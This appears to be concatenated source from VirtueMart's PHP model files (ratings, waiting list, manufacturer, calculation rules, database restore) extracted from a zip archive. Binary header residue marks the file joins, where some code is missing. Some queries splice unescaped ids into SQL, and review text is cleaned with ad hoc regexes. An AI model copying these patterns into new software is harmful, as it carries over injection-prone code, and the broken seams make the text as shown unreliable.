//$SQLfields = $className::getTableSQLFields (); // $loggablefields = $className::getTableSQLLoggablefields (); $loggablefields = call_user_func($className."::getTableSQLLoggablefields"); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; $db = JFactory::getDBO(); $db->setQuery($query); if (!$db->query ()) { vmError ( $className.'::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); } } function restoreSystemDefaults() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_required_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } function restoreSystemTablesCompletly() { $this->removeAllVMTables(); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } /** * Parse a sql file executing each sql statement found. * * @author Max Milbers */ function execSQLFile($sqlfile ) { // Check that sql files exists before reading. Otherwise raise error for rollback if ( !file_exists($sqlfile) ) { vmError('No SQL file provided!'); return false; } if(!class_exists('VmConfig')){ require_once(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(false,true); } if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } // Create an array of queries from the sql file jimport('joomla.installer.helper'); $queries = JInstallerHelper::splitSql(file_get_contents($sqlfile)); if (count($queries) == 0) { vmError('SQL file has no queries!'); return false; } $ok = true; $db = JFactory::getDBO(); // Process each query in the $queries array (split out of sql file). foreach ($queries as $query) { $query = trim($query); if ($query != '' && $query{0} != '#') { if(strpos($query, 'CREATE' )!==false or strpos( $query, 'INSERT')!==false){ $query = str_replace('XLANG',$lang,$query); } $db->setQuery($query); if (!$db->query()) { JError::raiseWarning(1, 'JInstaller::install: '.$sqlfile.' '.JText::_('COM_VIRTUEMART_SQL_ERROR')." ".$db->stderr(true)); $ok = false; } } } return $ok; } /** * Delete all Virtuemart tables. * * @return True if successful, false otherwise */ function removeAllVMTables() { $db = JFactory::getDBO(); $config = JFactory::getConfig(); $prefix = $config->getValue('config.dbprefix').'virtuemart_%'; $db->setQuery('SHOW TABLES LIKE "'.$prefix.'"'); if (!$tables = $db->loadResultArray()) { vmInfo ('removeAllVMTables no tables found '.$db->getErrorMsg()); return false; } $app = JFactory::getApplication(); foreach ($tables as $table) { $db->setQuery('DROP TABLE ' . $table); if($db->query()){ $droppedTables[] = substr($table,strlen($prefix)-1); } else { $errorTables[] = $table; $app->enqueueMessage('Error drop virtuemart table ' . $table); } } if(!empty($droppedTables)){ $app->enqueueMessage('Dropped virtuemart table ' . implode(', ',$droppedTables)); } if(!empty($errorTables)){ $app->enqueueMessage('Error dropping virtuemart table ' . implode($errorTables,', ')); return false; } return true; } /** * Remove all the data from all Virutmeart tables. * * @return boolean True if successful, false otherwise. */ function removeAllVMData() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_data.sql'; $this->execSQLFile($filename); $tables = array('categories','manufacturers','manufacturercategories','paymentmethods','products','shipmentmethods','vendors'); $prefix = $this->_db->getPrefix(); foreach ($tables as $table) { $query = 'SHOW TABLES LIKE "'.$prefix.'virtuemart_'.$table.'_%"'; $this->_db->setQuery($query); if($translatedTables= $this->_db->loadResultArray()) { foreach ($translatedTables as $translatedTable) { $this->_db->setQuery('TRUNCATE TABLE `'.$translatedTable.'`'); if($this->_db->query()) vmInfo( $translatedTable.' empty'); else vmError($translatedTable.' language table Cannot be deleted'); } } else vmInfo('No '.$table.' language table found to delete '.$query); } //"TRUNCATE TABLE IS FASTER and reset the primary Keys; //install required data again $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); return true; } /** * This function deletes all stored thumbs and deletes the entries for all thumbs, usually this is need for shops * older than vm2.0.22. The new pattern is now not storing the url as long it is not overwritten. * Of course the function deletes all overwrites, but you can now relativly easy change the thumbsize in your shop * @author Max Milbers */ function resetThumbs(){ $db = JFactory::getDbo(); $q = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb`=""'; $db->setQuery($q); $db->query(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('resetThumbs Update entries failed ',$err); } jimport('joomla.filesystem.folder'); $tmpimg_resize_enable = VmConfig::get('img_resize_enable',1); VmConfig::set('img_resize_enable',0); $this->deleteMediaThumbFolder('media_category_path'); $this->deleteMediaThumbFolder('media_product_path'); $this->deleteMediaThumbFolder('media_manufacturer_path'); $this->deleteMediaThumbFolder('media_vendor_path'); $this->deleteMediaThumbFolder('forSale_path_thumb',''); VmConfig::set('img_resize_enable',$tmpimg_resize_enable); return true; } /** * Delets a thumb folder and recreates it, contains small nasty hack for the thumbnail folder of the "file for sale" * @author Max Milbers * @param $type * @param string $resized * @return bool */ private function deleteMediaThumbFolder($type,$resized='resized'){ if(!empty($resized)) $resized = DS.$resized; $typePath = VmConfig::get($type); if(!empty($typePath)){ $path = JPATH_ROOT.DS.str_replace('/',DS,$typePath).$resized; $msg = JFolder::delete($path); if(!$msg){ vmWarn('Problem deleting '.$type); } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $msg = JFolder::create($path); return $msg; } else { return 'Config path for '.$type.' empty'; } } } //pure php no tag PKB\U ? ?models/ratings.phpnuW+AsetMainTable('ratings'); $layout = JRequest::getString('layout','default'); $task = JRequest::getCmd('task','default'); if($layout == 'list_reviews' or $task == 'listreviews'){ vmdebug('in review list'); $myarray = array('pr.created_on','virtuemart_rating_review_id','vote'); $this->removevalidOrderingFieldName('created_on'); $this->removevalidOrderingFieldName('product_name'); $this->removevalidOrderingFieldName('virtuemart_rating_id'); $this->removevalidOrderingFieldName('rating'); $this->_selectedOrdering = 'pr.created_on'; } else { $myarray = array('created_on','product_name','virtuemart_rating_id'); $this->removevalidOrderingFieldName('pr.created_on'); $this->removevalidOrderingFieldName('virtuemart_rating_review_id'); $this->removevalidOrderingFieldName('vote'); $this->_selectedOrdering = 'created_on'; } $this->addvalidOrderingFieldName($myarray); } /** * Select the products to list on the product list page */ public function getRatings() { $tables = ' FROM `#__virtuemart_ratings` AS `r` JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` USING (`virtuemart_product_id`) '; $whereString = ''; $this->_data = $this->exeSortSearchListQuery(0,' r.*,p.`product_name` ',$tables,$whereString,'',$this->_getOrdering()); // $this->_data = $this->_getList($q, $this->getState('limitstart'), $this->getState('limit')); // set total for pagination // $this->_total = $this->_getListCount($q) ; // if(empty($this->_data)) $this->_data = array(); // if(!isset($this->_total)) $this->_total = 0; return $this->_data; } /** * Load a single rating * @author RolandD */ public function getRating($cids) { if (empty($cids)) { return; } /* First copy the product in the product table */ $ratings_data = $this->getTable('ratings'); /* Load the rating */ $joinValue = array('product_name' =>'#__virtuemart_products'); if ($cids) { $ratings_data->load ($cids[0], $joinValue, 'virtuemart_product_id'); } /* Add some variables for a new rating */ if (JRequest::getWord('task') == 'add') { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $ratings_data->virtuemart_product_id = $virtuemart_product_id; /* User ID */ $user = JFactory::getUser(); $ratings_data->virtuemart_user_id = $user->id; } return $ratings_data; } /** * @author Max Milbers * @param $virtuemart_product_id * @return null */ function getReviews($virtuemart_product_id){ if (empty($virtuemart_product_id)) { return NULL; } $select = '`u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`, `u`.`name` AS customer, `pr`.`published`'; $tables = ' FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__users` AS `u` ON `pr`.`created_by` = `u`.`id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` AS `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`u`.`id`'; $whereString = ' WHERE `p`.`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $result = $this->exeSortSearchListQuery(0,$select,$tables,$whereString,'',$this->_getOrdering()); return $result; } /** * @author Max Milbers * @param $cids * @return mixed@ */ function getReview($cids){ $q = 'SELECT `u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`,CONCAT_WS(" ",`u`.`title`,u.`last_name`,`u`.`first_name`) as customer FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__virtuemart_userinfos` AS `u` ON `pr`.`created_by` = `u`.`virtuemart_user_id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` as `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`pr`.`created_by` WHERE virtuemart_rating_review_id="'.(int)$cids[0].'" ' ; $this->_db->setQuery($q); vmdebug('getReview',$this->_db->getQuery()); return $this->_db->loadObject(); } /** * gets a rating by a product id * * @author Max Milbers * @param int $product_id */ function getRatingByProduct($product_id){ $q = 'SELECT * FROM `#__virtuemart_ratings` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a review by a product id * * @author Max Milbers * @param int $product_id */ function getReviewByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a reviews by a product id * * @author Max Milbers * @param int $product_id */ function getReviewsByProduct($product_id){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObjectList(); } /** * gets a vote by a product id and userId * * @author Max Milbers * @param int $product_id */ function getVoteByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_votes` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * Save a rating * @author Max Milbers */ public function saveRating($data=0) { //Check user_rating $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $app = JFactory::getApplication(); if( $app->isSite() ){ $user = JFactory::getUser(); $userId = $user->id; $allowReview = $this->allowReview($virtuemart_product_id); $allowRating = $this->allowRating($virtuemart_product_id); } else { $userId = $data['created_by']; $allowReview = true; $allowRating = true; } if(!empty($virtuemart_product_id)){ //if ( !empty($data['virtuemart_product_id']) && !empty($userId)){ if(empty($data)) $data = vRequest::getPost(); if($allowRating){ //normalize the rating if ($data['vote'] < 0) { $data['vote'] = 0; } if ($data['vote'] > ($maxrating + 1)) { $data['vote'] = $maxrating; } $data['lastip'] = $_SERVER['REMOTE_ADDR']; $data['vote'] = (int) $data['vote']; $rating = $this->getRatingByProduct($data['virtuemart_product_id']); vmdebug('$rating',$rating); $vote = $this->getVoteByProduct($data['virtuemart_product_id'],$userId); vmdebug('$vote',$vote); $data['virtuemart_rating_vote_id'] = empty($vote->virtuemart_rating_vote_id)? 0: $vote->virtuemart_rating_vote_id; if(isset($data['vote'])){ $votesTable = $this->getTable('rating_votes'); $votesTable->bindChecknStore($data,TRUE); $errors = $votesTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store votes '.$error); } } if(!empty($rating->rates) && empty($vote) ){ $data['rates'] = $rating->rates + $data['vote']; $data['ratingcount'] = $rating->ratingcount+1; } else { if (!empty($rating->rates) && !empty($vote->vote)) { $data['rates'] = $rating->rates - $vote->vote + $data['vote']; $data['ratingcount'] = $rating->ratingcount; } else { $data['rates'] = $data['vote']; $data['ratingcount'] = 1; } } if(empty($data['rates']) || empty($data['ratingcount']) ){ $data['rating'] = 0; } else { $data['rating'] = $data['rates']/$data['ratingcount']; } $data['virtuemart_rating_id'] = empty($rating->virtuemart_rating_id)? 0: $rating->virtuemart_rating_id; vmdebug('saveRating $data',$data); $rating = $this->getTable('ratings'); $rating->bindChecknStore($data,TRUE); $errors = $rating->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store rating '.$error); } } if($allowReview and !empty($data['comment'])){ //if(!empty($data['comment'])){ $data['comment'] = substr($data['comment'], 0, VmConfig::get('vm_reviews_maximum_comment_length', 2000)) ; // no HTML TAGS but permit all alphabet $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$data['comment']);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $data['comment'] = (string)preg_replace('#^\'#si','',$value);//replace ' at start $data['comment'] = nl2br($data['comment']); // keep returns //set to defaut value not used (prevent hack) $data['review_ok'] = 0; $data['review_rating'] = 0; $data['review_editable'] = 0; // Check if ratings are auto-published (set to 0 prevent injected by user) // $app = JFactory::getApplication(); if( $app->isSite() ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(!Permissions::getInstance()->check('admin')){ if (VmConfig::get ('reviews_autopublish', 1)) { $data['published'] = 1; } } } $review = $this->getReviewByProduct($data['virtuemart_product_id'],$userId); if(!empty($review->review_rates)){ $data['review_rates'] = $review->review_rates + $data['vote']; } else { $data['review_rates'] = $data['vote']; } if(!empty($review->review_ratingcount)){ $data['review_ratingcount'] = $review->review_ratingcount+1; } else { $data['review_ratingcount'] = 1; } $data['review_rating'] = $data['review_rates']/$data['review_ratingcount']; $data['virtuemart_rating_review_id'] = empty($review->virtuemart_rating_review_id)? 0: $review->virtuemart_rating_review_id; $reviewTable = $this->getTable('rating_reviews'); $reviewTable->bindChecknStore($data,TRUE); $errors = $reviewTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store review '.$error); } } return $data['virtuemart_rating_review_id']; } else{ vmError('Cant save rating/review/vote without vote/product_id'); return FALSE; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove($ids) { $rating = $this->getTable($this->_maintablename); $review = $this->getTable('rating_reviews'); $votes = $this->getTable('rating_votes'); $ok = TRUE; foreach($ids as $id) { $rating->load($id); $prod_id = $rating->virtuemart_product_id; if (!$rating->delete($id)) { vmError(get_class( $this ).'::Error deleting ratings '.$rating->getError()); $ok = FALSE; } if (!$review->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting review '.$review->getError()); $ok = FALSE; } if (!$votes->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting votes '.$votes->getError()); $ok = FALSE; } } return $ok; } /** * Returns the number of reviews assigned to a product * * @author RolandD * @param int $pid Product ID * @return int */ public function countReviewsForProduct($pid) { $db = JFactory::getDBO(); $q = "SELECT COUNT(*) AS total FROM #__virtuemart_rating_reviews WHERE virtuemart_product_id=".(int)$pid; $db->setQuery($q); $reviews = $db->loadResult(); return $reviews; } public function showReview($product_id){ return $this->show($product_id, VmConfig::get('showReviewFor','all')); } public function showRating($product_id = 0){ return $this->show($product_id, VmConfig::get('showRatingFor','all')); } public function allowReview($product_id){ return $this->show($product_id, VmConfig::get('reviewMode','bought')); } public function allowRating($product_id){ return $this->show($product_id, VmConfig::get('ratingMode','bought')); } /** * Decides if the rating/review should be shown on the FE * @author Max Milbers */ private function show($product_id, $show){ //dont show if($show == 'none'){ return false; } //show all else { if ($show == 'all') { return true; } //show only registered else { if ($show == 'registered') { $user = JFactory::getUser (); return !empty($user->id); } //show only registered && who bought the product else { if ($show == 'bought') { if (empty($product_id)) { return false; } if (isset($this->_productBought[$product_id])) { return $this->_productBought[$product_id]; } $user = JFactory::getUser (); $rr_os=VmConfig::get('rr_os',array('C')); if(!is_array($rr_os)) $rr_os = array($rr_os); $db = JFactory::getDBO (); $q = 'SELECT COUNT(*) as total FROM `#__virtuemart_orders` AS o LEFT JOIN `#__virtuemart_order_items` AS oi '; $q .= 'ON `o`.`virtuemart_order_id` = `oi`.`virtuemart_order_id` '; $q .= 'WHERE o.virtuemart_user_id = "' . $user->id . '" AND oi.virtuemart_product_id = "' . $product_id . '" '; $q .= 'AND o.order_status IN (\'' . implode("','",$rr_os). '\') '; $db->setQuery ($q); $count = $db->loadResult (); if ($count) { $this->_productBought[$product_id] = true; return true; } else { $this->_productBought[$product_id] = false; return false; } } } } } } } // pure php no closing tag PKB\s(؜models/waitinglist.phpnuW+AsetQuery ($q); return $db->loadObjectList (); } /** * Notify customers product is back in stock * * @author RolandD * @author Christopher Rouseel * @todo Add Itemid * @todo Do something if the mail cannot be send * @todo Update mail from * @todo Get the from name/email from the vendor */ public function notifyList ($virtuemart_product_id, $subject = '', $mailbody = '', $max_number = 0) { if (!$virtuemart_product_id) { return FALSE; } //sanitize id $virtuemart_product_id = (int)$virtuemart_product_id; $max_number = (int)$max_number; if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } $vars = array(); $waiting_users = $this->getWaitingusers ($virtuemart_product_id); /* Load the product details */ $db = JFactory::getDbo (); $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $db->setQuery ($q); $item = $db->loadObject (); $vars['productName'] = $item->product_name; /* if ($item->product_in_stock <= 0) { return FALSE; } */ $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $vars['link'] = ''. $item->product_name.''; if (empty($subject)) { $subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $item->product_name); } $vars['subject'] = $subject; $vars['mailbody'] = $mailbody; $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vendorEmail = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; $i = 0; foreach ($waiting_users as $waiting_user) { $vars['user'] = $waiting_user->name ; if (shopFunctionsF::renderMail ('productdetails', $waiting_user->notify_email, $vars, 'productdetails')) { $db->setQuery ('UPDATE #__virtuemart_waitingusers SET notified=1 WHERE virtuemart_waitinguser_id=' . $waiting_user->virtuemart_waitinguser_id); $db->query (); $i++; } if (!empty($max_number) && $i >= $max_number) { break; } } return TRUE; } /** * Add customer to the waiting list for specific product * * @author Seyi Awofadeju * @return insert_id if the save was successful, false otherwise. */ public function adduser ($data) { JRequest::checkToken () or jexit ('Invalid Token, in notify customer'); $field = $this->getTable ('waitingusers'); if (!$field->bind ($data)) { // Bind data vmError ($field->getError ()); return FALSE; } if (!$field->check ()) { // Perform data checks vmError ($field->getError ()); return FALSE; } $_id = $field->store (); if ($_id === FALSE) { // Write data to the DB vmError ($field->getError ()); return FALSE; } //jexit(); return $_id; } } // pure php no closing tag PKB\4Luumodels/manufacturer.phpnuW+AsetMainTable('manufacturers'); $this->addvalidOrderingFieldName(array('m.virtuemart_manufacturer_id','mf_name','mf_desc','mf_category_name','mf_url')); $this->removevalidOrderingFieldName('virtuemart_manufacturer_id'); $this->_selectedOrdering = 'mf_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Load a single manufacturer */ public function getManufacturer() { static $_manus = array(); if (!array_key_exists ($this->_id, $_manus)) { $this->_data = $this->getTable('manufacturers'); $this->_data->load($this->_id); $xrefTable = $this->getTable('manufacturer_medias'); $this->_data->virtuemart_media_id = $xrefTable->load($this->_id); $_manus[$this->_id] = $this->_data; } return $_manus[$this->_id]; } /** * Bind the post data to the manufacturer table and save it * * @author Roland * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { // Setup some place holders $table = $this->getTable('manufacturers'); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } // Process the images $mediaModel = VmModel::getModel('Media'); $mediaModel->storeMedia($data,'manufacturer'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_manufacturer_id; } /** * Returns a dropdown menu with manufacturers * @author Max Milbers * @return object List of manufacturer to build filter select box */ function getManufacturerDropDown() { $db = JFactory::getDBO(); $query = "SELECT `virtuemart_manufacturer_id` AS `value`, `mf_name` AS text, '' AS disable FROM `#__virtuemart_manufacturers_".VMLANG."` ORDER BY `mf_name` ASC"; $db->setQuery($query); $options = $db->loadObjectList(); array_unshift($options, JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER') .' -' )); return $options; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer objects */ public function getManufacturers($onlyPublished=false, $noLimit=false, $getMedia=false) { $this->_noLimit = $noLimit; $mainframe = JFactory::getApplication(); // $db = JFactory::getDBO(); $option = 'com_virtuemart'; $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( $option.'virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $search = $mainframe->getUserStateFromRequest( $option.'search', 'search', '', 'string' ); $where = array(); if ($virtuemart_manufacturercategories_id > 0) { $where[] .= ' `m`.`virtuemart_manufacturercategories_id` = '. $virtuemart_manufacturercategories_id; } if ( $search && $search != 'true') { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] .= ' LOWER( `mf_name` ) LIKE '.$search; } if ($onlyPublished) { $where[] .= ' `m`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' `m`.*,`#__virtuemart_manufacturers_'.VMLANG.'`.*, mc.`mf_category_name` '; $joinedTables = 'FROM `#__virtuemart_manufacturers_'.VMLANG.'` JOIN `#__virtuemart_manufacturers` as m USING (`virtuemart_manufacturer_id`) '; $joinedTables .= ' LEFT JOIN `#__virtuemart_manufacturercategories_'.VMLANG.'` AS mc on mc.`virtuemart_manufacturercategories_id`= `m`.`virtuemart_manufacturercategories_id` '; $groupBy=' '; if($getMedia){ $select .= ',mmex.virtuemart_media_id '; $joinedTables .= 'LEFT JOIN `#__virtuemart_manufacturer_medias` as mmex ON `m`.`virtuemart_manufacturer_id`= mmex.`virtuemart_manufacturer_id` '; $groupBy=' GROUP BY `m`.`virtuemart_manufacturer_id` '; } $whereString = ' '; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where).' ' ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,$groupBy,$ordering ); } } // pure php no closing tagPKB\ࠎO/O/models/calc.phpnuW+A St.Kraft 2013-02-24 manufacturer relation added * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * @version $Id: calc.php 6396 2012-09-05 17:35:36Z Milbo $ */ if(!class_exists('VmModel'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmmodel.php'); class VirtueMartModelCalc extends VmModel { /** * Constructor for the calc model. * * The calc id is read and detmimined if it is an array of ids or just one single id. * * @author RickG */ public function __construct(){ parent::__construct(); $this->setMainTable('calcs'); $this->setToggleName('calc_shopper_published'); $this->setToggleName('calc_vendor_published'); $this->setToggleName('shared'); $this->addvalidOrderingFieldName(array('virtuemart_category_id','virtuemart_country_id','virtuemart_state_id','virtuemart_shoppergroup_id' ,'virtuemart_manufacturer_id' )); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getCalc(){ if (empty($this->_data)) { if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('calcs'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('calc_categories'); $this->_data->calc_categories = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_categories '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $this->_data->virtuemart_shoppergroup_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_shoppergroups '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $this->_data->calc_countries = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_countries '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $this->_data->virtuemart_state_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' virtuemart_state_ids '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $this->_data->virtuemart_manufacturers = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_manufacturers '.$xrefTable->getError()); } JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmGetPluginInternalDataCalc',array(&$this->_data)); } // if($errs = $this->getErrors()){ // $app = JFactory::getApplication(); // foreach($errs as $err){ // $app->enqueueMessage($err); // } // } // vmdebug('my calc',$this->_data); return $this->_data; } /** * Retrieve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the published Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getCalcs($onlyPublished=false, $noLimit=false, $search=false){ $where = array(); $this->_noLimit = $noLimit; // add filters if ($onlyPublished) $where[] = '`published` = 1'; if($search){ $db = JFactory::getDBO(); $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $where[] = ' `calc_name` LIKE '.$search.' OR `calc_descr` LIKE '.$search.' OR `calc_value` LIKE '.$search.' '; } $whereString= ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_calcs`',$whereString,'',$this->_getOrdering()); if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Write the first 5 categories in the list */ $data->calcCategoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_calc_categories','virtuemart_calc_id',$data->virtuemart_calc_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); /* Write the first 5 shoppergroups in the list */ $data->calcShoppersList = 